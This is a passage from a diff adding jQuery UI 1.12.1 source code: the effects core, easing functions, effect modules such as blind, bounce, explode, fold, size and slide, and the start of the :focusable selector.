null; + } + + // Add options to effect + if ( options ) { + $.extend( effect, options ); + } + + speed = speed || options.duration; + effect.duration = $.fx.off ? 0 : + typeof speed === "number" ? speed : + speed in $.fx.speeds ? $.fx.speeds[ speed ] : + $.fx.speeds._default; + + effect.complete = callback || options.complete; + + return effect; +} + +function standardAnimationOption( option ) { + + // Valid standard speeds (nothing, number, named speed) + if ( !option || typeof option === "number" || $.fx.speeds[ option ] ) { + return true; + } + + // Invalid strings - treat as "normal" speed + if ( typeof option === "string" && !$.effects.effect[ option ] ) { + return true; + } + + // Complete callback + if ( $.isFunction( option ) ) { + return true; + } + + // Options hash (but not naming an effect) + if ( typeof option === "object" && !option.effect ) { + return true; + } + + // Didn't match any standard API + return false; +} + +$.fn.extend( { + effect: function( /* effect, options, speed, callback */ ) { + var args = _normalizeArguments.apply( this, arguments ), + effectMethod = $.effects.effect[ args.effect ], + defaultMode = effectMethod.mode, + queue = args.queue, + queueName = queue || "fx", + complete = args.complete, + mode = args.mode, + modes = [], + prefilter = function( next ) { + var el = $( this ), + normalizedMode = $.effects.mode( el, mode ) || defaultMode; + + // Sentinel for duck-punching the :animated psuedo-selector + el.data( dataSpaceAnimated, true ); + + // Save effect mode for later use, + // we can't just call $.effects.mode again later, + // as the .show() below destroys the initial state + modes.push( normalizedMode ); + + // See $.uiBackCompat inside of run() for removal of defaultMode in 1.13 + if ( defaultMode && ( normalizedMode === "show" || + ( normalizedMode === defaultMode && normalizedMode === "hide" ) ) ) { + el.show(); + } + + if ( !defaultMode || normalizedMode !== "none" ) { + $.effects.saveStyle( el ); + } + + if ( $.isFunction( next ) ) { + next(); + } + }; + + if ( $.fx.off || !effectMethod ) { + + // Delegate to the original method (e.g., .show()) if possible + if ( mode ) { + return this[ mode ]( args.duration, complete ); + } else { + return this.each( function() { + if ( complete ) { + complete.call( this ); + } + } ); + } + } + + function run( next ) { + var elem = $( this ); + + function cleanup() { + elem.removeData( dataSpaceAnimated ); + + $.effects.cleanUp( elem ); + + if ( args.mode === "hide" ) { + elem.hide(); + } + + done(); + } + + function done() { + if ( $.isFunction( complete ) ) { + complete.call( elem[ 0 ] ); + } + + if ( $.isFunction( next ) ) { + next(); + } + } + + // Override mode option on a per element basis, + // as toggle can be either show or hide depending on element state + args.mode = modes.shift(); + + if ( $.uiBackCompat !== false && !defaultMode ) { + if ( elem.is( ":hidden" ) ? mode === "hide" : mode === "show" ) { + + // Call the core method to track "olddisplay" properly + elem[ mode ](); + done(); + } else { + effectMethod.call( elem[ 0 ], args, done ); + } + } else { + if ( args.mode === "none" ) { + + // Call the core method to track "olddisplay" properly + elem[ mode ](); + done(); + } else { + effectMethod.call( elem[ 0 ], args, cleanup ); + } + } + } + + // Run prefilter on all elements first to ensure that + // any showing or hiding happens before placeholder creation, + // which ensures that any layout changes are correctly captured. + return queue === false ? + this.each( prefilter ).each( run ) : + this.queue( queueName, prefilter ).queue( queueName, run ); + }, + + show: ( function( orig ) { + return function( option ) { + if ( standardAnimationOption( option ) ) { + return orig.apply( this, arguments ); + } else { + var args = _normalizeArguments.apply( this, arguments ); + args.mode = "show"; + return this.effect.call( this, args ); + } + }; + } )( $.fn.show ), + + hide: ( function( orig ) { + return function( option ) { + if ( standardAnimationOption( option ) ) { + return orig.apply( this, arguments ); + } else { + var args = _normalizeArguments.apply( this, arguments ); + args.mode = "hide"; + return this.effect.call( this, args ); + } + }; + } )( $.fn.hide ), + + toggle: ( function( orig ) { + return function( option ) { + if ( standardAnimationOption( option ) || typeof option === "boolean" ) { + return orig.apply( this, arguments ); + } else { + var args = _normalizeArguments.apply( this, arguments ); + args.mode = "toggle"; + return this.effect.call( this, args ); + } + }; + } )( $.fn.toggle ), + + cssUnit: function( key ) { + var style = this.css( key ), + val = []; + + $.each( [ "em", "px", "%", "pt" ], function( i, unit ) { + if ( style.indexOf( unit ) > 0 ) { + val = [ parseFloat( style ), unit ]; + } + } ); + return val; + }, + + cssClip: function( clipObj ) { + if ( clipObj ) { + return this.css( "clip", "rect(" + clipObj.top + "px " + clipObj.right + "px " + + clipObj.bottom + "px " + clipObj.left + "px)" ); + } + return parseClip( this.css( "clip" ), this ); + }, + + transfer: function( options, done ) { + var element = $( this ), + target = $( options.to ), + targetFixed = target.css( "position" ) === "fixed", + body = $( "body" ), + fixTop = targetFixed ? body.scrollTop() : 0, + fixLeft = targetFixed ? body.scrollLeft() : 0, + endPosition = target.offset(), + animation = { + top: endPosition.top - fixTop, + left: endPosition.left - fixLeft, + height: target.innerHeight(), + width: target.innerWidth() + }, + startPosition = element.offset(), + transfer = $( "<div class='ui-effects-transfer'></div>" ) + .appendTo( "body" ) + .addClass( options.className ) + .css( { + top: startPosition.top - fixTop, + left: startPosition.left - fixLeft, + height: element.innerHeight(), + width: element.innerWidth(), + position: targetFixed ? "fixed" : "absolute" + } ) + .animate( animation, options.duration, options.easing, function() { + transfer.remove(); + if ( $.isFunction( done ) ) { + done(); + } + } ); + } +} ); + +function parseClip( str, element ) { + var outerWidth = element.outerWidth(), + outerHeight = element.outerHeight(), + clipRegex = /^rect\((-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto)\)$/, + values = clipRegex.exec( str ) || [ "", 0, outerWidth, outerHeight, 0 ]; + + return { + top: parseFloat( values[ 1 ] ) || 0, + right: values[ 2 ] === "auto" ? outerWidth : parseFloat( values[ 2 ] ), + bottom: values[ 3 ] === "auto" ? outerHeight : parseFloat( values[ 3 ] ), + left: parseFloat( values[ 4 ] ) || 0 + }; +} + +$.fx.step.clip = function( fx ) { + if ( !fx.clipInit ) { + fx.start = $( fx.elem ).cssClip(); + if ( typeof fx.end === "string" ) { + fx.end = parseClip( fx.end, fx.elem ); + } + fx.clipInit = true; + } + + $( fx.elem ).cssClip( { + top: fx.pos * ( fx.end.top - fx.start.top ) + fx.start.top, + right: fx.pos * ( fx.end.right - fx.start.right ) + fx.start.right, + bottom: fx.pos * ( fx.end.bottom - fx.start.bottom ) + fx.start.bottom, + left: fx.pos * ( fx.end.left - fx.start.left ) + fx.start.left + } ); +}; + +} )(); + +/******************************************************************************/ +/*********************************** EASING ***********************************/ +/******************************************************************************/ + +( function() { + +// Based on easing equations from Robert Penner (http://www.robertpenner.com/easing) + +var baseEasings = {}; + +$.each( [ "Quad", "Cubic", "Quart", "Quint", "Expo" ], function( i, name ) { + baseEasings[ name ] = function( p ) { + return Math.pow( p, i + 2 ); + }; +} ); + +$.extend( baseEasings, { + Sine: function( p ) { + return 1 - Math.cos( p * Math.PI / 2 ); + }, + Circ: function( p ) { + return 1 - Math.sqrt( 1 - p * p ); + }, + Elastic: function( p ) { + return p === 0 || p === 1 ? p : + -Math.pow( 2, 8 * ( p - 1 ) ) * Math.sin( ( ( p - 1 ) * 80 - 7.5 ) * Math.PI / 15 ); + }, + Back: function( p ) { + return p * p * ( 3 * p - 2 ); + }, + Bounce: function( p ) { + var pow2, + bounce = 4; + + while ( p < ( ( pow2 = Math.pow( 2, --bounce ) ) - 1 ) / 11 ) {} + return 1 / Math.pow( 4, 3 - bounce ) - 7.5625 * Math.pow( ( pow2 * 3 - 2 ) / 22 - p, 2 ); + } +} ); + +$.each( baseEasings, function( name, easeIn ) { + $.easing[ "easeIn" + name ] = easeIn; + $.easing[ "easeOut" + name ] = function( p ) { + return 1 - easeIn( 1 - p ); + }; + $.easing[ "easeInOut" + name ] = function( p ) { + return p < 0.5 ? + easeIn( p * 2 ) / 2 : + 1 - easeIn( p * -2 + 2 ) / 2; + }; +} ); + +} )(); + +var effect = $.effects; + + +/*! + * jQuery UI Effects Blind 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Blind Effect +//>>group: Effects +//>>description: Blinds the element. +//>>docs: http://api.jqueryui.com/blind-effect/ +//>>demos: http://jqueryui.com/effect/ + + + +var effectsEffectBlind = $.effects.define( "blind", "hide", function( options, done ) { + var map = { + up: [ "bottom", "top" ], + vertical: [ "bottom", "top" ], + down: [ "top", "bottom" ], + left: [ "right", "left" ], + horizontal: [ "right", "left" ], + right: [ "left", "right" ] + }, + element = $( this ), + direction = options.direction || "up", + start = element.cssClip(), + animate = { clip: $.extend( {}, start ) }, + placeholder = $.effects.createPlaceholder( element ); + + animate.clip[ map[ direction ][ 0 ] ] = animate.clip[ map[ direction ][ 1 ] ]; + + if ( options.mode === "show" ) { + element.cssClip( animate.clip ); + if ( placeholder ) { + placeholder.css( $.effects.clipToBox( animate ) ); + } + + animate.clip = start; + } + + if ( placeholder ) { + placeholder.animate( $.effects.clipToBox( animate ), options.duration, options.easing ); + } + + element.animate( animate, { + queue: false, + duration: options.duration, + easing: options.easing, + complete: done + } ); +} ); + + +/*! + * jQuery UI Effects Bounce 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Bounce Effect +//>>group: Effects +//>>description: Bounces an element horizontally or vertically n times. +//>>docs: http://api.jqueryui.com/bounce-effect/ +//>>demos: http://jqueryui.com/effect/ + + + +var effectsEffectBounce = $.effects.define( "bounce", function( options, done ) { + var upAnim, downAnim, refValue, + element = $( this ), + + // Defaults: + mode = options.mode, + hide = mode === "hide", + show = mode === "show", + direction = options.direction || "up", + distance = options.distance, + times = options.times || 5, + + // Number of internal animations + anims = times * 2 + ( show || hide ? 1 : 0 ), + speed = options.duration / anims, + easing = options.easing, + + // Utility: + ref = ( direction === "up" || direction === "down" ) ? "top" : "left", + motion = ( direction === "up" || direction === "left" ), + i = 0, + + queuelen = element.queue().length; + + $.effects.createPlaceholder( element ); + + refValue = element.css( ref ); + + // Default distance for the BIGGEST bounce is the outer Distance / 3 + if ( !distance ) { + distance = element[ ref === "top" ? "outerHeight" : "outerWidth" ]() / 3; + } + + if ( show ) { + downAnim = { opacity: 1 }; + downAnim[ ref ] = refValue; + + // If we are showing, force opacity 0 and set the initial position + // then do the "first" animation + element + .css( "opacity", 0 ) + .css( ref, motion ? -distance * 2 : distance * 2 ) + .animate( downAnim, speed, easing ); + } + + // Start at the smallest distance if we are hiding + if ( hide ) { + distance = distance / Math.pow( 2, times - 1 ); + } + + downAnim = {}; + downAnim[ ref ] = refValue; + + // Bounces up/down/left/right then back to 0 -- times * 2 animations happen here + for ( ; i < times; i++ ) { + upAnim = {}; + upAnim[ ref ] = ( motion ? "-=" : "+=" ) + distance; + + element + .animate( upAnim, speed, easing ) + .animate( downAnim, speed, easing ); + + distance = hide ? distance * 2 : distance / 2; + } + + // Last Bounce when Hiding + if ( hide ) { + upAnim = { opacity: 0 }; + upAnim[ ref ] = ( motion ? "-=" : "+=" ) + distance; + + element.animate( upAnim, speed, easing ); + } + + element.queue( done ); + + $.effects.unshift( element, queuelen, anims + 1 ); +} ); + + +/*! + * jQuery UI Effects Clip 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Clip Effect +//>>group: Effects +//>>description: Clips the element on and off like an old TV. +//>>docs: http://api.jqueryui.com/clip-effect/ +//>>demos: http://jqueryui.com/effect/ + + + +var effectsEffectClip = $.effects.define( "clip", "hide", function( options, done ) { + var start, + animate = {}, + element = $( this ), + direction = options.direction || "vertical", + both = direction === "both", + horizontal = both || direction === "horizontal", + vertical = both || direction === "vertical"; + + start = element.cssClip(); + animate.clip = { + top: vertical ? ( start.bottom - start.top ) / 2 : start.top, + right: horizontal ? ( start.right - start.left ) / 2 : start.right, + bottom: vertical ? ( start.bottom - start.top ) / 2 : start.bottom, + left: horizontal ? ( start.right - start.left ) / 2 : start.left + }; + + $.effects.createPlaceholder( element ); + + if ( options.mode === "show" ) { + element.cssClip( animate.clip ); + animate.clip = start; + } + + element.animate( animate, { + queue: false, + duration: options.duration, + easing: options.easing, + complete: done + } ); + +} ); + + +/*! + * jQuery UI Effects Drop 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Drop Effect +//>>group: Effects +//>>description: Moves an element in one direction and hides it at the same time. +//>>docs: http://api.jqueryui.com/drop-effect/ +//>>demos: http://jqueryui.com/effect/ + + + +var effectsEffectDrop = $.effects.define( "drop", "hide", function( options, done ) { + + var distance, + element = $( this ), + mode = options.mode, + show = mode === "show", + direction = options.direction || "left", + ref = ( direction === "up" || direction === "down" ) ? "top" : "left", + motion = ( direction === "up" || direction === "left" ) ? "-=" : "+=", + oppositeMotion = ( motion === "+=" ) ? "-=" : "+=", + animation = { + opacity: 0 + }; + + $.effects.createPlaceholder( element ); + + distance = options.distance || + element[ ref === "top" ? "outerHeight" : "outerWidth" ]( true ) / 2; + + animation[ ref ] = motion + distance; + + if ( show ) { + element.css( animation ); + + animation[ ref ] = oppositeMotion + distance; + animation.opacity = 1; + } + + // Animate + element.animate( animation, { + queue: false, + duration: options.duration, + easing: options.easing, + complete: done + } ); +} ); + + +/*! + * jQuery UI Effects Explode 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Explode Effect +//>>group: Effects +// jscs:disable maximumLineLength +//>>description: Explodes an element in all directions into n pieces. Implodes an element to its original wholeness. +// jscs:enable maximumLineLength +//>>docs: http://api.jqueryui.com/explode-effect/ +//>>demos: http://jqueryui.com/effect/ + + + +var effectsEffectExplode = $.effects.define( "explode", "hide", function( options, done ) { + + var i, j, left, top, mx, my, + rows = options.pieces ? Math.round( Math.sqrt( options.pieces ) ) : 3, + cells = rows, + element = $( this ), + mode = options.mode, + show = mode === "show", + + // Show and then visibility:hidden the element before calculating offset + offset = element.show().css( "visibility", "hidden" ).offset(), + + // Width and height of a piece + width = Math.ceil( element.outerWidth() / cells ), + height = Math.ceil( element.outerHeight() / rows ), + pieces = []; + + // Children animate complete: + function childComplete() { + pieces.push( this ); + if ( pieces.length === rows * cells ) { + animComplete(); + } + } + + // Clone the element for each row and cell. + for ( i = 0; i < rows; i++ ) { // ===> + top = offset.top + i * height; + my = i - ( rows - 1 ) / 2; + + for ( j = 0; j < cells; j++ ) { // ||| + left = offset.left + j * width; + mx = j - ( cells - 1 ) / 2; + + // Create a clone of the now hidden main element that will be absolute positioned + // within a wrapper div off the -left and -top equal to size of our pieces + element + .clone() + .appendTo( "body" ) + .wrap( "<div></div>" ) + .css( { + position: "absolute", + visibility: "visible", + left: -j * width, + top: -i * height + } ) + + // Select the wrapper - make it overflow: hidden and absolute positioned based on + // where the original was located +left and +top equal to the size of pieces + .parent() + .addClass( "ui-effects-explode" ) + .css( { + position: "absolute", + overflow: "hidden", + width: width, + height: height, + left: left + ( show ? mx * width : 0 ), + top: top + ( show ? my * height : 0 ), + opacity: show ? 0 : 1 + } ) + .animate( { + left: left + ( show ? 0 : mx * width ), + top: top + ( show ? 0 : my * height ), + opacity: show ? 1 : 0 + }, options.duration || 500, options.easing, childComplete ); + } + } + + function animComplete() { + element.css( { + visibility: "visible" + } ); + $( pieces ).remove(); + done(); + } +} ); + + +/*! + * jQuery UI Effects Fade 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Fade Effect +//>>group: Effects +//>>description: Fades the element. +//>>docs: http://api.jqueryui.com/fade-effect/ +//>>demos: http://jqueryui.com/effect/ + + + +var effectsEffectFade = $.effects.define( "fade", "toggle", function( options, done ) { + var show = options.mode === "show"; + + $( this ) + .css( "opacity", show ? 0 : 1 ) + .animate( { + opacity: show ? 1 : 0 + }, { + queue: false, + duration: options.duration, + easing: options.easing, + complete: done + } ); +} ); + + +/*! + * jQuery UI Effects Fold 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Fold Effect +//>>group: Effects +//>>description: Folds an element first horizontally and then vertically. +//>>docs: http://api.jqueryui.com/fold-effect/ +//>>demos: http://jqueryui.com/effect/ + + + +var effectsEffectFold = $.effects.define( "fold", "hide", function( options, done ) { + + // Create element + var element = $( this ), + mode = options.mode, + show = mode === "show", + hide = mode === "hide", + size = options.size || 15, + percent = /([0-9]+)%/.exec( size ), + horizFirst = !!options.horizFirst, + ref = horizFirst ? [ "right", "bottom" ] : [ "bottom", "right" ], + duration = options.duration / 2, + + placeholder = $.effects.createPlaceholder( element ), + + start = element.cssClip(), + animation1 = { clip: $.extend( {}, start ) }, + animation2 = { clip: $.extend( {}, start ) }, + + distance = [ start[ ref[ 0 ] ], start[ ref[ 1 ] ] ], + + queuelen = element.queue().length; + + if ( percent ) { + size = parseInt( percent[ 1 ], 10 ) / 100 * distance[ hide ? 0 : 1 ]; + } + animation1.clip[ ref[ 0 ] ] = size; + animation2.clip[ ref[ 0 ] ] = size; + animation2.clip[ ref[ 1 ] ] = 0; + + if ( show ) { + element.cssClip( animation2.clip ); + if ( placeholder ) { + placeholder.css( $.effects.clipToBox( animation2 ) ); + } + + animation2.clip = start; + } + + // Animate + element + .queue( function( next ) { + if ( placeholder ) { + placeholder + .animate( $.effects.clipToBox( animation1 ), duration, options.easing ) + .animate( $.effects.clipToBox( animation2 ), duration, options.easing ); + } + + next(); + } ) + .animate( animation1, duration, options.easing ) + .animate( animation2, duration, options.easing ) + .queue( done ); + + $.effects.unshift( element, queuelen, 4 ); +} ); + + +/*! + * jQuery UI Effects Highlight 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Highlight Effect +//>>group: Effects +//>>description: Highlights the background of an element in a defined color for a custom duration. +//>>docs: http://api.jqueryui.com/highlight-effect/ +//>>demos: http://jqueryui.com/effect/ + + + +var effectsEffectHighlight = $.effects.define( "highlight", "show", function( options, done ) { + var element = $( this ), + animation = { + backgroundColor: element.css( "backgroundColor" ) + }; + + if ( options.mode === "hide" ) { + animation.opacity = 0; + } + + $.effects.saveStyle( element ); + + element + .css( { + backgroundImage: "none", + backgroundColor: options.color || "#ffff99" + } ) + .animate( animation, { + queue: false, + duration: options.duration, + easing: options.easing, + complete: done + } ); +} ); + + +/*! + * jQuery UI Effects Size 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Size Effect +//>>group: Effects +//>>description: Resize an element to a specified width and height. +//>>docs: http://api.jqueryui.com/size-effect/ +//>>demos: http://jqueryui.com/effect/ + + + +var effectsEffectSize = $.effects.define( "size", function( options, done ) { + + // Create element + var baseline, factor, temp, + element = $( this ), + + // Copy for children + cProps = [ "fontSize" ], + vProps = [ "borderTopWidth", "borderBottomWidth", "paddingTop", "paddingBottom" ], + hProps = [ "borderLeftWidth", "borderRightWidth", "paddingLeft", "paddingRight" ], + + // Set options + mode = options.mode, + restore = mode !== "effect", + scale = options.scale || "both", + origin = options.origin || [ "middle", "center" ], + position = element.css( "position" ), + pos = element.position(), + original = $.effects.scaledDimensions( element ), + from = options.from || original, + to = options.to || $.effects.scaledDimensions( element, 0 ); + + $.effects.createPlaceholder( element ); + + if ( mode === "show" ) { + temp = from; + from = to; + to = temp; + } + + // Set scaling factor + factor = { + from: { + y: from.height / original.height, + x: from.width / original.width + }, + to: { + y: to.height / original.height, + x: to.width / original.width + } + }; + + // Scale the css box + if ( scale === "box" || scale === "both" ) { + + // Vertical props scaling + if ( factor.from.y !== factor.to.y ) { + from = $.effects.setTransition( element, vProps, factor.from.y, from ); + to = $.effects.setTransition( element, vProps, factor.to.y, to ); + } + + // Horizontal props scaling + if ( factor.from.x !== factor.to.x ) { + from = $.effects.setTransition( element, hProps, factor.from.x, from ); + to = $.effects.setTransition( element, hProps, factor.to.x, to ); + } + } + + // Scale the content + if ( scale === "content" || scale === "both" ) { + + // Vertical props scaling + if ( factor.from.y !== factor.to.y ) { + from = $.effects.setTransition( element, cProps, factor.from.y, from ); + to = $.effects.setTransition( element, cProps, factor.to.y, to ); + } + } + + // Adjust the position properties based on the provided origin points + if ( origin ) { + baseline = $.effects.getBaseline( origin, original ); + from.top = ( original.outerHeight - from.outerHeight ) * baseline.y + pos.top; + from.left = ( original.outerWidth - from.outerWidth ) * baseline.x + pos.left; + to.top = ( original.outerHeight - to.outerHeight ) * baseline.y + pos.top; + to.left = ( original.outerWidth - to.outerWidth ) * baseline.x + pos.left; + } + element.css( from ); + + // Animate the children if desired + if ( scale === "content" || scale === "both" ) { + + vProps = vProps.concat( [ "marginTop", "marginBottom" ] ).concat( cProps ); + hProps = hProps.concat( [ "marginLeft", "marginRight" ] ); + + // Only animate children with width attributes specified + // TODO: is this right? should we include anything with css width specified as well + element.find( "*[width]" ).each( function() { + var child = $( this ), + childOriginal = $.effects.scaledDimensions( child ), + childFrom = { + height: childOriginal.height * factor.from.y, + width: childOriginal.width * factor.from.x, + outerHeight: childOriginal.outerHeight * factor.from.y, + outerWidth: childOriginal.outerWidth * factor.from.x + }, + childTo = { + height: childOriginal.height * factor.to.y, + width: childOriginal.width * factor.to.x, + outerHeight: childOriginal.height * factor.to.y, + outerWidth: childOriginal.width * factor.to.x + }; + + // Vertical props scaling + if ( factor.from.y !== factor.to.y ) { + childFrom = $.effects.setTransition( child, vProps, factor.from.y, childFrom ); + childTo = $.effects.setTransition( child, vProps, factor.to.y, childTo ); + } + + // Horizontal props scaling + if ( factor.from.x !== factor.to.x ) { + childFrom = $.effects.setTransition( child, hProps, factor.from.x, childFrom ); + childTo = $.effects.setTransition( child, hProps, factor.to.x, childTo ); + } + + if ( restore ) { + $.effects.saveStyle( child ); + } + + // Animate children + child.css( childFrom ); + child.animate( childTo, options.duration, options.easing, function() { + + // Restore children + if ( restore ) { + $.effects.restoreStyle( child ); + } + } ); + } ); + } + + // Animate + element.animate( to, { + queue: false, + duration: options.duration, + easing: options.easing, + complete: function() { + + var offset = element.offset(); + + if ( to.opacity === 0 ) { + element.css( "opacity", from.opacity ); + } + + if ( !restore ) { + element + .css( "position", position === "static" ? "relative" : position ) + .offset( offset ); + + // Need to save style here so that automatic style restoration + // doesn't restore to the original styles from before the animation. + $.effects.saveStyle( element ); + } + + done(); + } + } ); + +} ); + + +/*! + * jQuery UI Effects Scale 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Scale Effect +//>>group: Effects +//>>description: Grows or shrinks an element and its content. +//>>docs: http://api.jqueryui.com/scale-effect/ +//>>demos: http://jqueryui.com/effect/ + + + +var effectsEffectScale = $.effects.define( "scale", function( options, done ) { + + // Create element + var el = $( this ), + mode = options.mode, + percent = parseInt( options.percent, 10 ) || + ( parseInt( options.percent, 10 ) === 0 ? 0 : ( mode !== "effect" ? 0 : 100 ) ), + + newOptions = $.extend( true, { + from: $.effects.scaledDimensions( el ), + to: $.effects.scaledDimensions( el, percent, options.direction || "both" ), + origin: options.origin || [ "middle", "center" ] + }, options ); + + // Fade option to support puff + if ( options.fade ) { + newOptions.from.opacity = 1; + newOptions.to.opacity = 0; + } + + $.effects.effect.size.call( this, newOptions, done ); +} ); + + +/*! + * jQuery UI Effects Puff 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Puff Effect +//>>group: Effects +//>>description: Creates a puff effect by scaling the element up and hiding it at the same time. +//>>docs: http://api.jqueryui.com/puff-effect/ +//>>demos: http://jqueryui.com/effect/ + + + +var effectsEffectPuff = $.effects.define( "puff", "hide", function( options, done ) { + var newOptions = $.extend( true, {}, options, { + fade: true, + percent: parseInt( options.percent, 10 ) || 150 + } ); + + $.effects.effect.scale.call( this, newOptions, done ); +} ); + + +/*! + * jQuery UI Effects Pulsate 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Pulsate Effect +//>>group: Effects +//>>description: Pulsates an element n times by changing the opacity to zero and back. +//>>docs: http://api.jqueryui.com/pulsate-effect/ +//>>demos: http://jqueryui.com/effect/ + + + +var effectsEffectPulsate = $.effects.define( "pulsate", "show", function( options, done ) { + var element = $( this ), + mode = options.mode, + show = mode === "show", + hide = mode === "hide", + showhide = show || hide, + + // Showing or hiding leaves off the "last" animation + anims = ( ( options.times || 5 ) * 2 ) + ( showhide ? 1 : 0 ), + duration = options.duration / anims, + animateTo = 0, + i = 1, + queuelen = element.queue().length; + + if ( show || !element.is( ":visible" ) ) { + element.css( "opacity", 0 ).show(); + animateTo = 1; + } + + // Anims - 1 opacity "toggles" + for ( ; i < anims; i++ ) { + element.animate( { opacity: animateTo }, duration, options.easing ); + animateTo = 1 - animateTo; + } + + element.animate( { opacity: animateTo }, duration, options.easing ); + + element.queue( done ); + + $.effects.unshift( element, queuelen, anims + 1 ); +} ); + + +/*! + * jQuery UI Effects Shake 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Shake Effect +//>>group: Effects +//>>description: Shakes an element horizontally or vertically n times. +//>>docs: http://api.jqueryui.com/shake-effect/ +//>>demos: http://jqueryui.com/effect/ + + + +var effectsEffectShake = $.effects.define( "shake", function( options, done ) { + + var i = 1, + element = $( this ), + direction = options.direction || "left", + distance = options.distance || 20, + times = options.times || 3, + anims = times * 2 + 1, + speed = Math.round( options.duration / anims ), + ref = ( direction === "up" || direction === "down" ) ? "top" : "left", + positiveMotion = ( direction === "up" || direction === "left" ), + animation = {}, + animation1 = {}, + animation2 = {}, + + queuelen = element.queue().length; + + $.effects.createPlaceholder( element ); + + // Animation + animation[ ref ] = ( positiveMotion ? "-=" : "+=" ) + distance; + animation1[ ref ] = ( positiveMotion ? "+=" : "-=" ) + distance * 2; + animation2[ ref ] = ( positiveMotion ? "-=" : "+=" ) + distance * 2; + + // Animate + element.animate( animation, speed, options.easing ); + + // Shakes + for ( ; i < times; i++ ) { + element + .animate( animation1, speed, options.easing ) + .animate( animation2, speed, options.easing ); + } + + element + .animate( animation1, speed, options.easing ) + .animate( animation, speed / 2, options.easing ) + .queue( done ); + + $.effects.unshift( element, queuelen, anims + 1 ); +} ); + + +/*! + * jQuery UI Effects Slide 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Slide Effect +//>>group: Effects +//>>description: Slides an element in and out of the viewport. +//>>docs: http://api.jqueryui.com/slide-effect/ +//>>demos: http://jqueryui.com/effect/ + + + +var effectsEffectSlide = $.effects.define( "slide", "show", function( options, done ) { + var startClip, startRef, + element = $( this ), + map = { + up: [ "bottom", "top" ], + down: [ "top", "bottom" ], + left: [ "right", "left" ], + right: [ "left", "right" ] + }, + mode = options.mode, + direction = options.direction || "left", + ref = ( direction === "up" || direction === "down" ) ? "top" : "left", + positiveMotion = ( direction === "up" || direction === "left" ), + distance = options.distance || + element[ ref === "top" ? "outerHeight" : "outerWidth" ]( true ), + animation = {}; + + $.effects.createPlaceholder( element ); + + startClip = element.cssClip(); + startRef = element.position()[ ref ]; + + // Define hide animation + animation[ ref ] = ( positiveMotion ? -1 : 1 ) * distance + startRef; + animation.clip = element.cssClip(); + animation.clip[ map[ direction ][ 1 ] ] = animation.clip[ map[ direction ][ 0 ] ]; + + // Reverse the animation if we're showing + if ( mode === "show" ) { + element.cssClip( animation.clip ); + element.css( ref, animation[ ref ] ); + animation.clip = startClip; + animation[ ref ] = startRef; + } + + // Actually animate + element.animate( animation, { + queue: false, + duration: options.duration, + easing: options.easing, + complete: done + } ); +} ); + + +/*! + * jQuery UI Effects Transfer 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Transfer Effect +//>>group: Effects +//>>description: Displays a transfer effect from one element to another. +//>>docs: http://api.jqueryui.com/transfer-effect/ +//>>demos: http://jqueryui.com/effect/ + + + +var effect; +if ( $.uiBackCompat !== false ) { + effect = $.effects.define( "transfer", function( options, done ) { + $( this ).transfer( options, done ); + } ); +} +var effectsEffectTransfer = effect; + + +/*! + * jQuery UI Focusable 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: :focusable Selector +//>>group: Core +//>>description: Selects elements which can be focused. +//>>docs: http://api.jqueryui.com/focusable-selector/ + + + +// Selectors +$.ui.focusable = function( element, hasTabindex ) { + var map, mapName, img, focusableIfVisible, fieldset, + nodeName = element.nodeName.toLowerCase(); + + if ( "area" === nodeName ) { + map = element.parentNode; + mapName = map.name; + if ( !element.href || !mapName || map.nodeName.toLowerCase() !== "map" ) { + return false; + } + img = $( "img[usemap='#" + mapName + "']" ); + return img.length > 0 && img.is( ":visible" ); + } + + if ( /^(input|select|textarea|button|object)$/.test( nodeName ) ) { + focusableIfVisible = !element.disabled; + + if ( focusableIfVisible ) { + + // Form controls within a disabled fieldset are disabled. + // However, controls within the fieldset's legend do not get disabled. + // Since controls generally aren't placed inside legends, we skip + // this portion of the check. + fieldset = $( element ).closest( "fieldset" )[ 0 ]; + if ( fieldset ) { + focusableIfVisible = !fieldset.disabled; + } + } + } else if ( "a" === nodeName ) { + focusableIfVisible = element.href || hasTabindex; + } else { + focusableIfVisible = hasTabindex; + } + + return focusableIfVisible && $( element ).is( ":visible" ) && visible( $( element ) ); +}; + +// Support: IE 8 only +// IE 8 doesn't resolve inherit to visible/hidden for computed 